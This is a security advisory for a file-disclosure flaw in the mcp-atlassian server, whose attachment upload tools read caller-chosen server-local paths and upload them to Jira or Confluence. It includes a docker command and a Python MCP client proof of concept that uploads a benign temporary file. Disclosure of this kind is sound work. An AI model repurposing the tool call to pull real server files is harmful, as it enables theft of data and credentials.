CVE-2026-77247

The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.

In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.

This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.

Details

The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.

Relevant implementation points:

• mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment

  • Accepts file_path.
  • Converts the supplied value to an absolute path when needed.
  • Checks existence with os.path.exists.
  • Passes the path into the attachment upload flow.

• mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct

  • Opens the supplied file_path with open(file_path, "rb").
  • Sends the resulting file object as multipart form data to Confluence.

• mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments

  • Iterates caller-supplied file_paths.
  • Calls upload_attachment for each path.

• mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment

  • Accepts file_path.
  • Converts the supplied value to an absolute path when needed.
  • Checks existence with os.path.exists.
  • Opens the file and uploads it as a Jira attachment.

• mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments

  • Iterates caller-supplied file_paths.
  • Calls upload_attachment for each path.

• mcp_atlassian.servers.jira.update_issue

  • Accepts an attachments argument as a JSON array string or comma-separated string.
  • Converts it into attachment paths and passes them into the Jira update flow.

The project also documents non-stdio deployment modes:

• sse
• streamable-http
• multi-user authentication
• Docker and Kubernetes deployment

Therefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.

The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.

Expected behavior:

• Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or
• Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and
• Dangerous path forms such as remote UNC paths and file:// URLs should be rejected before filesystem checks.

PoC

The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.

Prerequisites:

• A test Confluence site.
• A test page content ID where the tester is allowed to upload attachments.
• A test Confluence API token or another supported authentication method.
• Python 3.10 or newer.

Start mcp-atlassian in HTTP mode:

docker run --rm -p 9000:9000 \
  -e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
  -e CONFLUENCE_USERNAME="<tester-email>" \
  -e CONFLUENCE_API_TOKEN="<tester-api-token>" \
  ghcr.io/sooperset/mcp-atlassian:latest \
  --transport streamable-http --host 0.0.0.0 --port 9000

Install the MCP Python client:

python -m pip install "mcp>=1.8.0"

Run this standalone client script:

import asyncio
import os
import tempfile
from pathlib import Path

from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client


async def main() -> None:
    mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
    content_id = os.environ["CONFLUENCE_CONTENT_ID"]

    proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
    proof_file = proof_dir / "server-local-proof.txt"
    proof_file.write_text(
        "This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
        encoding="utf-8",
    )

    async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
        async with ClientSession(read_stream, write_stream) as session:
            await session.initialize()
            result = await session.call_tool(
                "confluence_upload_attachments",
                {
                    "content_id": content_id,
                    "file_paths": str(proof_file),
                    "comment": "Security test: benign server-local upload proof",
                    "minor_edit": True,
                },
            )
            print(result)
            print(f"Uploaded test filename: {proof_file.name}")


if __name__ == "__main__":
    asyncio.run(main())

Run it with the test page ID:

CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py

Observed result:

1. The MCP client sends a normal confluence_upload_attachments tool call.
2. The MCP server reads the temporary file from its own filesystem.
3. The MCP server uploads that file as an attachment to the configured Confluence page.
4. The uploaded attachment appears on the test page.

Security significance:

• The MCP caller did not need shell access to the server.
• The MCP caller did not need direct filesystem access to the server.
• The MCP caller only needed permission to invoke the upload tool.
• The file read happened with the privileges of the MCP server process.

The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.